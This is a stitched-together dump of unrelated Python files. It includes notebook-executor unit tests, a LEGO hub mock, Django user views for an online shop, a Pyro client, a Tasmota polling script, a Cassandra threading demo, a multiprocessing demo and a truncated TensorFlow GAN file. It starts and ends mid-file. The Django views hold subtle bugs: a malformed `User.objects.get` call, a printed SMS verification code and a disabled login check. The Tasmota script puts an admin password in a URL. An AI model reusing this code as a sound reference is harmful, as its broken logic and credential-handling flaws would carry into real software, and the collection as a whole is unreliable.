@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'execute_reply'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{'msg_type': 'clear_output', 'header': {'msg_type': 'clear_output'}, 'content': {}},
)
def test_clear_output_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A stream, followed by a clear, and then an idle
assert message_mock.call_count == 3
# Ensure the output was cleared
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{
'msg_type': 'clear_output',
'header': {'msg_type': 'clear_output'},
'content': {'wait': True},
},
)
def test_clear_output_wait_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A stream, followed by a clear, and then an idle
assert message_mock.call_count == 3
# Should be true without another message to trigger the clear
self.assertTrue(executor.clear_before_next_output)
# Ensure the output wasn't cleared yet
assert cell_mock.outputs == [{'output_type': 'stream', 'name': 'stdout', 'text': 'foo'}]
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{
'msg_type': 'clear_output',
'header': {'msg_type': 'clear_output'},
'content': {'wait': True},
},
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stderr', 'text': 'bar'},
},
)
def test_clear_output_wait_then_message_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An stdout stream, followed by a wait clear, an stderr stream, and then an idle
assert message_mock.call_count == 4
# Should be false after the stderr message
assert not executor.clear_before_next_output
# Ensure the output wasn't cleared yet
assert cell_mock.outputs == [{'output_type': 'stream', 'name': 'stderr', 'text': 'bar'}]
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'name': 'stdout', 'text': 'foo'},
},
{
'msg_type': 'clear_output',
'header': {'msg_type': 'clear_output'},
'content': {'wait': True},
},
{
'msg_type': 'update_display_data',
'header': {'msg_type': 'update_display_data'},
'content': {'metadata': {'metafoo': 'metabar'}, 'data': {'foo': 'bar'}},
},
)
def test_clear_output_wait_then_update_display_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An stdout stream, followed by a wait clear, an stderr stream, and then an idle
assert message_mock.call_count == 4
# Should be false after the stderr message
assert executor.clear_before_next_output
# Ensure the output wasn't cleared yet because update_display doesn't add outputs
assert cell_mock.outputs == [{'output_type': 'stream', 'name': 'stdout', 'text': 'foo'}]
@prepare_cell_mocks(
{
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
'content': {'execution_count': 42},
}
)
def test_execution_count_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An execution count followed by an idle
assert message_mock.call_count == 2
assert cell_mock.execution_count == 42
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
'content': {'execution_count': 42},
}
)
def test_execution_count_message_ignored_on_override(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0, execution_count=21)
# An execution count followed by an idle
assert message_mock.call_count == 2
assert cell_mock.execution_count == 21
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'stream',
'header': {'msg_type': 'stream'},
'content': {'execution_count': 42, 'name': 'stdout', 'text': 'foo'},
}
)
def test_execution_count_with_stream_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An execution count followed by an idle
assert message_mock.call_count == 2
assert cell_mock.execution_count == 42
# Should also consume the message stream
assert cell_mock.outputs == [{'output_type': 'stream', 'name': 'stdout', 'text': 'foo'}]
@prepare_cell_mocks(
{
'msg_type': 'comm',
'header': {'msg_type': 'comm'},
'content': {'comm_id': 'foobar', 'data': {'state': {'foo': 'bar'}}},
}
)
def test_widget_comm_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A comm message without buffer info followed by an idle
assert message_mock.call_count == 2
self.assertEqual(executor.widget_state, {'foobar': {'foo': 'bar'}})
# Buffers should still be empty
assert not executor.widget_buffers
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'comm',
'header': {'msg_type': 'comm'},
'buffers': [b'123'],
'content': {
'comm_id': 'foobar',
'data': {'state': {'foo': 'bar'}, 'buffer_paths': [['path']]},
},
}
)
def test_widget_comm_buffer_message_single(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A comm message with buffer info followed by an idle
assert message_mock.call_count == 2
assert executor.widget_state == {'foobar': {'foo': 'bar'}}
assert executor.widget_buffers == {
'foobar': {('path',): {'data': 'MTIz', 'encoding': 'base64', 'path': ['path']}}
}
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'comm',
'header': {'msg_type': 'comm'},
'buffers': [b'123'],
'content': {
'comm_id': 'foobar',
'data': {'state': {'foo': 'bar'}, 'buffer_paths': [['path']]},
},
},
{
'msg_type': 'comm',
'header': {'msg_type': 'comm'},
'buffers': [b'123'],
'content': {
'comm_id': 'foobar',
'data': {'state': {'foo2': 'bar2'}, 'buffer_paths': [['path2']]},
},
},
)
def test_widget_comm_buffer_messages(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A comm message with buffer info followed by an idle
assert message_mock.call_count == 3
assert executor.widget_state == {'foobar': {'foo': 'bar', 'foo2': 'bar2'}}
assert executor.widget_buffers == {
'foobar': {
('path',): {'data': 'MTIz', 'encoding': 'base64', 'path': ['path']},
('path2',): {'data': 'MTIz', 'encoding': 'base64', 'path': ['path2']},
}
}
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'comm',
'header': {'msg_type': 'comm'},
'content': {
'comm_id': 'foobar',
# No 'state'
'data': {'foo': 'bar'},
},
}
)
def test_unknown_comm_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An unknown comm message followed by an idle
assert message_mock.call_count == 2
# Widget states should be empty as the message has the wrong shape
assert not executor.widget_state
assert not executor.widget_buffers
# Ensure no outputs were generated
assert cell_mock.outputs == []
@prepare_cell_mocks(
{
'msg_type': 'execute_result',
'header': {'msg_type': 'execute_result'},
'content': {
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
'execution_count': 42,
},
}
)
def test_execute_result_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An execute followed by an idle
assert message_mock.call_count == 2
assert cell_mock.execution_count == 42
# Should generate an associated message
assert cell_mock.outputs == [
{
'output_type': 'execute_result',
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
'execution_count': 42,
}
]
# No display id was provided
assert not executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'execute_result',
'header': {'msg_type': 'execute_result'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
'execution_count': 42,
},
}
)
def test_execute_result_with_display_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An execute followed by an idle
assert message_mock.call_count == 2
assert cell_mock.execution_count == 42
# Should generate an associated message
assert cell_mock.outputs == [
{
'output_type': 'execute_result',
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
'execution_count': 42,
}
]
assert 'foobar' in executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {'metadata': {'metafoo': 'metabar'}, 'data': {'foo': 'bar'}},
}
)
def test_display_data_without_id_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A display followed by an idle
assert message_mock.call_count == 2
# Should generate an associated message
assert cell_mock.outputs == [
{
'output_type': 'display_data',
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
}
]
# No display id was provided
assert not executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
},
}
)
def test_display_data_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A display followed by an idle
assert message_mock.call_count == 2
# Should generate an associated message
assert cell_mock.outputs == [
{
'output_type': 'display_data',
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
}
]
assert 'foobar' in executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
},
},
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {
'transient': {'display_id': 'foobar_other'},
'metadata': {'metafoo_other': 'metabar_other'},
'data': {'foo': 'bar_other'},
},
},
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
},
},
)
def test_display_data_same_id_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A display followed by an idle
assert message_mock.call_count == 4
# Original output should be manipulated and a copy of the second now
assert cell_mock.outputs == [
{
'output_type': 'display_data',
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
},
{
'output_type': 'display_data',
'metadata': {'metafoo_other': 'metabar_other'},
'data': {'foo': 'bar_other'},
},
{
'output_type': 'display_data',
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
},
]
assert 'foobar' in executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'update_display_data',
'header': {'msg_type': 'update_display_data'},
'content': {'metadata': {'metafoo': 'metabar'}, 'data': {'foo': 'bar'}},
}
)
def test_update_display_data_without_id_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An update followed by an idle
assert message_mock.call_count == 2
# Display updates don't create any outputs
assert cell_mock.outputs == []
# No display id was provided
assert not executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
},
},
{
'msg_type': 'update_display_data',
'header': {'msg_type': 'update_display_data'},
'content': {
'transient': {'display_id': 'foobar2'},
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
},
},
)
def test_update_display_data_mismatch_id_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An update followed by an idle
assert message_mock.call_count == 3
# Display updates don't create any outputs
assert cell_mock.outputs == [
{
'output_type': 'display_data',
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
}
]
assert 'foobar' in executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'display_data',
'header': {'msg_type': 'display_data'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo': 'metabar'},
'data': {'foo': 'bar'},
},
},
{
'msg_type': 'update_display_data',
'header': {'msg_type': 'update_display_data'},
'content': {
'transient': {'display_id': 'foobar'},
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
},
},
)
def test_update_display_data_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# A display followed by an update then an idle
assert message_mock.call_count == 3
# Original output should be manipulated
assert cell_mock.outputs == [
{
'output_type': 'display_data',
'metadata': {'metafoo2': 'metabar2'},
'data': {'foo': 'bar2', 'baz': 'foobarbaz'},
}
]
assert 'foobar' in executor._display_id_map
@prepare_cell_mocks(
{
'msg_type': 'error',
'header': {'msg_type': 'error'},
'content': {'ename': 'foo', 'evalue': 'bar', 'traceback': ['Boom']},
}
)
def test_error_message(self, executor, cell_mock, message_mock):
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 2
# Should also consume the message stream
assert cell_mock.outputs == [
{'output_type': 'error', 'ename': 'foo', 'evalue': 'bar', 'traceback': ['Boom']}
]
@prepare_cell_mocks(
{
'msg_type': 'error',
'header': {'msg_type': 'error'},
'content': {'ename': 'foo', 'evalue': 'bar', 'traceback': ['Boom']},
},
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# ERROR
'content': {'status': 'error'},
},
)
def test_error_and_error_status_messages(self, executor, cell_mock, message_mock):
with self.assertRaises(CellExecutionError):
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 2
# Cell outputs should still be copied
assert cell_mock.outputs == [
{'output_type': 'error', 'ename': 'foo', 'evalue': 'bar', 'traceback': ['Boom']}
]
@prepare_cell_mocks(
{
'msg_type': 'error',
'header': {'msg_type': 'error'},
'content': {'ename': 'foo', 'evalue': 'bar', 'traceback': ['Boom']},
},
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# OK
'content': {'status': 'ok'},
},
)
def test_error_message_only(self, executor, cell_mock, message_mock):
# Should NOT raise
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 2
# Should also consume the message stream
assert cell_mock.outputs == [
{'output_type': 'error', 'ename': 'foo', 'evalue': 'bar', 'traceback': ['Boom']}
]
@prepare_cell_mocks(
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# ERROR
'content': {'status': 'error'},
}
)
def test_allow_errors(self, executor, cell_mock, message_mock):
executor.allow_errors = True
# Should NOT raise
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 1
# Should also consume the message stream
assert cell_mock.outputs == []
@prepare_cell_mocks(
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# ERROR
'content': {'status': 'error', 'ename': 'NotImplementedError'},
}
)
def test_allow_error_names(self, executor, cell_mock, message_mock):
executor.allow_error_names = ['NotImplementedError']
# Should NOT raise
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 1
# Should also consume the message stream
assert cell_mock.outputs == []
@prepare_cell_mocks(
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# ERROR
'content': {'status': 'error'},
}
)
def test_raises_exception_tag(self, executor, cell_mock, message_mock):
cell_mock.metadata['tags'] = ['raises-exception']
# Should NOT raise
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 1
# Should also consume the message stream
assert cell_mock.outputs == []
@prepare_cell_mocks(
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# ERROR
'content': {'status': 'error'},
}
)
def test_non_code_cell(self, executor, cell_mock, message_mock):
cell_mock = NotebookNode(source='"foo" = "bar"', metadata={}, cell_type='raw', outputs=[])
# Should NOT raise nor execute any code
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 0
# Should also consume the message stream
assert cell_mock.outputs == []
@prepare_cell_mocks(
reply_msg={
'msg_type': 'execute_reply',
'header': {'msg_type': 'execute_reply'},
# ERROR
'content': {'status': 'error'},
}
)
def test_no_source(self, executor, cell_mock, message_mock):
cell_mock = NotebookNode(
# Stripped source is empty
source=' ',
metadata={},
cell_type='code',
outputs=[],
)
# Should NOT raise nor execute any code
executor.execute_cell(cell_mock, 0)
# An error followed by an idle
assert message_mock.call_count == 0
# Should also consume the message stream
assert cell_mock.outputs == []
|
__init__.py | import time
from binascii import unhexlify
from pylgbst.comms import Connection
from pylgbst.hub import MoveHub, Hub
from pylgbst.peripherals import *
logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger('test')
class HubMock(Hub):
"""
:type connection: ConnectionMock
"""
# noinspection PyUnresolvedReferences
def __init__(self, conn=None):
super(HubMock, self).__init__(conn if conn else ConnectionMock())
self.connection = self.connection
self.notify_mock = self.connection.notifications
self.writes = self.connection.writes
class ConnectionMock(Connection):
"""
For unit testing purposes
"""
def __init__(self):
super(ConnectionMock, self).__init__()
self.writes = []
self.notifications = []
self.notification_handler = None
self.running = True
self.finished = False
self.thr = Thread(target=self.notifier)
self.thr.setDaemon(True)
def set_notify_handler(self, handler):
self.notification_handler = handler
self.thr.start()
def notifier(self):
while self.running or self.notifications:
if self.notification_handler:
while self.notifications:
data = self.notifications.pop(0)
s = unhexlify(data.replace(' ', ''))
self.notification_handler(MoveHub.HUB_HARDWARE_HANDLE, bytes(s))
time.sleep(0.01)
self.finished = True
def write(self, handle, data):
log.debug("Writing to %s: %s", handle, str2hex(data))
self.writes.append((handle, str2hex(data)))
def connect(self, hub_mac=None):
"""
:rtype: ConnectionMock
"""
super(ConnectionMock, self).connect(hub_mac)
log.debug("Mock connected")
return self
def is_alive(self):
return not self.finished and self.thr.is_alive()
def notification_delayed(self, payload, pause=0.001):
def inject():
time.sleep(pause)
self.notifications.append(payload)
Thread(target=inject).start()
def wait_notifications_handled(self):
self.running = False
for _ in range(1, 180):
time.sleep(0.01)
log.debug("Waiting for notifications to process...")
if self.finished:
log.debug("Done waiting for notifications to process")
break
|
views.py | from django.conf import settings
from rest_framework.views import APIView
from rest_framework.generics import CreateAPIView, RetrieveAPIView, UpdateAPIView, GenericAPIView
from random import randint
from django_redis import get_redis_connection
from rest_framework.response import Response
from rest_framework_jwt.views import ObtainJSONWebToken
from celery_tasks.sms_code.tasks import send_sms_code
from goods.models import SKU
from goods.serializers import SKUListSerializers
from meiduo_mall.utils.captcha.captcha import captcha
from users.models import User
from users.serializers import UserSerializers, UserDetailSerializer, EmailSerializer, AddUserBrowsingHistorySerializer
from rest_framework.permissions import IsAuthenticated
from itsdangerous import TimedJSONWebSignatureSerializer as TJS
from users.utils import merge_cart_cookie_to_redis
# 导入rest_framework中的基层视图APIView,继承与django的View
from rest_framework.views import APIView
# 导入数据库链接
from django_redis import get_redis_connection
# 导入响应
from django.http import HttpResponse
# 导入常量文件
from . import constants
# 发送短信
class SmsCodeView(APIView):
def get(self, request, mobile):
# 1.获取手机号,进行正则匹配
conn = get_redis_connection('sms_code')
# 先判断是否间隔了1分钟
flag = conn.get('sms_code_flag_%s' % mobile)
if flag:
return Response({'error': '请求过于频繁'}, status=400)
# 2.生成验证码
sms_code = '%06d' % randint(0, 999999)
print(sms_code)
# 3. 保存验证码到redis
pl = conn.pipeline()
# 通过管道将2个相同操作进行整合,只需要连接一次redis
pl.setex('sms_code_%s'%mobile, 300, sms_code)
# 设置一个条件判断是否为1分钟后再次发送
pl.setex('sms_code_flag_%s' %mobile, 60, 'a')
pl.execute()
# 4.发送验证码
# 1.ccp = CCP()
# 手机号, 短信验证码+过期时间,1号模板
# ccp.send_template_sms(mobile, [sms_code, '5'], 1)
# 2.线程
# t = Thread(target=work, kwargs={'mobile':mobile, 'sms_code':sms_code})
# t.start()
# 3.celery异步发送
send_sms_code.delay(mobile, sms_code)
# 5.返回信息
return Response({'message': 'ok'})
# 判断用户名
class UserNameView(APIView):
def get(self, request, username):
count = User.objects.filter(username=username).count()
return Response({
'username': username,
'count': count
})
# 判断手机号
class MobileView(APIView):
def get(self, request, mobile):
count = User.objects.filter(mobile=mobile).count()
return Response({
'mobile': mobile,
'count': count
})
# 绑定
class UsersView(CreateAPIView):
serializer_class = UserSerializers
# 用户中心信息显示
class UserDetailView(RetrieveAPIView):
serializer_class = UserDetailSerializer
permission_classes = [IsAuthenticated]
def get_object(self):
# self代表当前类实例对象(genericAPIview),使用它里面的request属性
# 接着将数据返回给RetrieveAPIView(大部分将数据在拓展类中进行处理,在拓展类处理的过程中又用到了序列化器.)
return self.request.user
# 发送验证邮件
class EmailView(UpdateAPIView):
serializer_class = EmailSerializer
permission_classes = [IsAuthenticated]
# 原方法需要pk值,而我们的前端没有传递,所以要进行重写
def get_object(self, *args, **kwargs):
# 返回对象
return self.request.user
# 验证有效有效性
class VerifyEmailView(APIView):
def get(self, request):
# 获取前端传入的token
token = request.query_params.get('token')
if not token:
return Response({'error': '缺少token'}, status=400)
tjs = TJS(settings.SECRET_KEY, 300)
try:
# 检查token
data = tjs.loads(token)
except Exception:
return Response({'errors': '无效token'}, status=400)
username = data['name']
user = User.objects.get(username)
user.email_active = True
user.save()
print(111)
return Response({
'message': 'ok'
})
# 保存用户浏览记录
class UserBrowsingHistoryView(CreateAPIView):
serializer_class = AddUserBrowsingHistorySerializer
# permission_classes = [IsAuthenticated]
# 获取用户浏览记录
def get(self, request):
user = request.user
conn = get_redis_connection('history')
# 取出5条浏览记录
sku_ids = conn.lrange('history_%s'% user.id, 0, 6)
# 通过sku——id在SKU表里过滤出对应的数据对象
skus = SKU.objects.filter(id__in=sku_ids)
# 序列化返回
ser = SKUListSerializers(skus, many=True)
return Response(ser.data)
# 重写ObtainJSONWebToken登陆,合并购物车
class UserAuthorizeView(ObtainJSONWebToken):
def post(self, request, *args, **kwargs):
response = super().post(request, *args, **kwargs)
serializer = self.get_serializer(data=request.data)
if serializer.is_valid():
user = serializer.object.get('user') or request.user
# 普通传参.传参顺序必须一致
response = merge_cart_cookie_to_redis(request, user,response)
# 结果返回
return response
# # 忘记密码重置
# class ForgorPasswordView(APIView):
# # 从前端获取用户名
# def get(self, request, username):
# count = User.objects.filter(username=username).count()
# return Response({
# 'username': username,
# 'count': count
# })
#
# # 2.
# # 从前端获取用户名,图片验证码
# # 3.
# # 验证成功,根据用户名查询手机号,返回给前端,并跳转至发送短信页面;查询失败,返回用户名不存在或验证码错误
# # 4.
# # 点击生成短信验证码
# # 5.
# # 短信验证码存入redis数据库
# # 6.
# # 前端获取短信验证码
# # 7.
# # 和redis中的短信验证码进行比对
# # 8.
# # 比对失败,返回结果
# # 9.
# # 比对成功,进入下一步
# # 10.
# # 从前端获取新密码new_password和确认密码new_password2
# # 11.
# # 验证密码格式是否正确及两次密码是否一致
# # 12.
# # 验证失败返回结果
# # 13.
# # 验证成功保存至MySQL数据库,返回结果,跳转登录页面
# Create your views here.
# 创建获取图片验证码视图,在redis中存放图片验证码信息
# GET /image_codes/(?P<image_code_id>[\w-]+)/
class ImageCodeView(APIView):
# 图片验证码
def get(self, request, image_code_id):
# 生成验证码图片
name, text, image = captcha.generate_captcha()
redis_conn = get_redis_connection("verify_codes")
redis_conn.setex("img_%s" % image_code_id, constants.IMAGE_CODE_REDIS_EXPIRES, text)
# 固定返回验证码图片数据,不需要REST framework框架的Response帮助我们决定返回响应数据的格式
# 所以此处直接使用Django原生的HttpResponse即可
return HttpResponse(image, content_type="image/jpg")
|
cberror_client.py | #!/usr/bin/env python
import time, random
import Pyro.core
import Pyro.naming
from Pyro.errors import *
from threading import Thread
import bouncer_cberror
abort=0
def PyroLoop(daemon):
global abort
print 'Pyro daemon loop thread is running.'
daemon.requestLoop(lambda: not abort)
print 'Pyro daemon loop thread is exiting.'
def main():
global abort
Pyro.core.initServer()
Pyro.core.initClient()
daemon = Pyro.core.Daemon()
NS = Pyro.naming.NameServerLocator().getNS()
daemon.useNameServer(NS)
bounceObj = bouncer_cberror.Bouncer("Client")
daemon.connect(bounceObj) # callback object
server = NS.resolve(':test.bouncer').getProxy()
# create a thread that handles callback requests
thread=Thread(target=PyroLoop, args=(daemon,))
thread.start()
print '1.Calling server from main (a single call)...'
result = server.process(["hello"], bounceObj.getProxy())
print '1.Result=',result
print '2.Calling server from main (a single call)...'
result = server.process(["hello"], bounceObj.getProxy())
print '2.Result=',result
abort=1
thread.join()
print 'Exiting.'
if __name__=='__main__':
main()
|
tasmota.py | #!/usr/bin/env python
import logging
from json import loads
from time import sleep
from threading import Thread
from requests import get
from requests.exceptions import ConnectionError, ChunkedEncodingError, ReadTimeout
from artemisremotecontrol.config import Config
from artemisremotecontrol import setleds
try:
config_name = __name__.split('.')[1]
except IndexError:
print('Run run.py after config.')
exit()
def loop():
while True:
data = {}
for device in config.config[config_name]:
for uri in device['data']:
url = device['base_url'] + uri['uri']
if not uri['uri'] in data:
data[uri['uri']] = {}
try:
response = get(url, timeout=0.3)
status = response.status_code
except (ConnectionError, ChunkedEncodingError, ReadTimeout):
status = False
if status != 200:
# send "Disconnected" state
logging.debug('Can\'t connect to device')
data[uri['uri']][device['name']] = 'down'
continue
response_content = loads(response.content.decode('utf-8'))
logging.debug(response_content)
value = response_content[uri['key']]
logging.debug(f'Value: {value}')
data[uri['uri']][device['name']] = value
sleep(0.1)
setleds(config_name, data)
sleep(5)
def save():
device = dict()
device['name'] = 'Dimmer'
device['base_url'] = 'http://192.168.1.13/cm?user=admin&password=pw&cmnd='
device['data'] = list()
# change values if needed, only for adding to the config.json
device['data'].append(dict())
device['data'][-1]['uri'] = 'Power'
device['data'][-1]['key'] = 'POWER'
config.add(config_name, device)
logging.info('Saved.')
config = Config()
config.load(config_name)
# Change the values in save() and uncomment these two lines, run run.py *once* and comment them again
#save()
#exit()
tloop = Thread(target=loop)
tloop.start()
|
multi_thread_sync.py | #creates a given number of threads (pass by argument) and assigns an equal portion of the workload to each one
#the main thread waits actively until they finish
from cassandra.cluster import Cluster
import threading
import sys
import itertools
cluster = Cluster()
cluster = Cluster(["minerva-5"])
session = cluster.connect("case18")
query = "SELECT * FROM case18.particle WHERE partid=?"
prepared = session.prepare(query)
num_keys = 10000
max_parallelism = int(sys.argv[1])
count = itertools.count() #starts at 0
finished = False
def call(keys):
global finished
for k in keys:
result = session.execute(prepared, [k])
# next returns value and increments subsequently
if count.next() == max_parallelism-1:
finished = True
ths = []
k_to_thread=num_keys/max_parallelism
for i in xrange(0,num_keys,k_to_thread):
ths.append(threading.Thread(target=call,kwargs = {'keys':list(range(i,i+k_to_thread))}))
for th in ths:
th.start()
while not finished:
pass
for th in ths:
th.join() |
demo2.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Topic: multiprocessing创建进程
Desc :
"""
# from multiprocessing import Process
# import os
#
#
# # 子进程要执行的代码
# def run_proc(name):
# print('Run child process %s (%s)...' % (name, os.getpid()))
#
#
# if __name__ == '__main__':
# print('Parent process %s.' % os.getpid())
# p = Process(target=run_proc, args=('test',))
# print('Process will start.')
# p.start()
# # join()方法可以等待子进程结束后再继续往下运行,通常用于进程间的同步。
# p.join()
# print('Process end.')
#
# # Multiprocessing with Pipe
# # 这里的Pipe是双向的。
# # Pipe对象建立的时候,返回一个含有两个元素的表,每个元素代表Pipe的一端(Connection对象)。
# # 我们对Pipe的某一端调用send()方法来传送对象,在另一端使用recv()来接收。
# import multiprocessing as mul
#
# def proc1(pipe):
# pipe.send('hello')
# print('proc1 rec:', pipe.recv())
#
#
# def proc2(pipe):
# print('proc2 rec:', pipe.recv())
# pipe.send('hello, too')
#
# # Build a pipe
# pipe = mul.Pipe()
# # Pass an end of the pipe to process 1
# p1 = mul.Process(target=proc1, args=(pipe[0],))
# # Pass the other end of the pipe to process 2
# p2 = mul.Process(target=proc2, args=(pipe[1],))
# p1.start()
# p2.start()
# p1.join()
# p2.join()
# 下面演示怎样通过PIPE来获取multiprocessing.Process进程返回值
import multiprocessing
def worker(procnum, send_end):
'''worker function'''
result = str(procnum) + ' represent!'
print(result)
send_end.send(result)
def main():
jobs = []
pipe_list = []
for i in range(5):
# 单向管道返回的是(接受端,发送端)
recv_end , send_end = multiprocessing.Pipe(False)
p = multiprocessing.Process(target=worker, args=(i, send_end))
jobs.append(p)
pipe_list.append(recv_end)
p.start()
for proc in jobs:
proc.join()
result_list = [x.recv() for x in pipe_list]
print(result_list)
for x in pipe_list:
x.close()
if __name__ == '__main__':
main()
|
train_model_cli_wgan_v2.py | import os
import math
import re
import numpy as np
import tensorflow as tf
from tqdm import tqdm
from skimage import io
import threading
from async_io import AsyncIO
def set_vram_growth(as_default_sess=True):
config = tf.ConfigProto()
config.gpu_options.allow_growth = True
if as_default_sess:
return tf.InteractiveSession(config=config)
else:
return tf.Session(config=config)
def rescale_to_rgb(image):
return (image + 1) / 2
# tensorflow util functions
def conv2d(i, output_dim, kernel_size=(5, 5), strides=(2, 2), stddev=0.02, name='conv2d'):
(k_h, k_w), (s_h, s_w) = kernel_size, strides
with tf.variable_scope(name):
w = tf.get_variable('w', [k_h, k_w, i.get_shape()[-1], output_dim],
initializer=tf.truncated_normal_initializer(stddev=stddev))
conv = tf.nn.conv2d(i, w, strides=[1, s_h, s_w, 1], padding='SAME')
b = tf.get_variable('b', [output_dim], initializer=tf.constant_initializer(0.0))
conv = tf.nn.bias_add(conv, b)
return conv
def deconv2d(i, output_shape, kernel_size=(5, 5), strides=(2, 2), stddev=0.02, name='deconv2d', output_weights=False):
(k_h, k_w), (s_h, s_w) = kernel_size, strides
with tf.variable_scope(name):
w = tf.get_variable('w', [k_h, k_w, output_shape[-1], i.get_shape()[-1]],
initializer=tf.truncated_normal_initializer(stddev=stddev))
if output_shape[0]:
deconv = tf.nn.conv2d_transpose(i, w, output_shape=output_shape, strides=[1, s_h, s_w, 1])
else:
deconv = tf.nn.conv2d_transpose(i, w, output_shape=[tf.shape(i)[0]] + output_shape[1:],
strides=[1, s_h, s_w, 1])
deconv = tf.reshape(deconv, [-1] + output_shape[1:])
b = tf.get_variable('b', [output_shape[-1]], initializer=tf.constant_initializer(0.0))
deconv = tf.nn.bias_add(deconv, b)
if output_weights:
return deconv, w, b
else:
return deconv
def leaky_relu(x, alpha=0.2, name='leaky_relu'):
with tf.variable_scope(name):
return tf.maximum(x, alpha * x)
def dense(i, output_dim, name='linear', stddev=0.02, use_bias=True):
shape = i.get_shape().as_list()
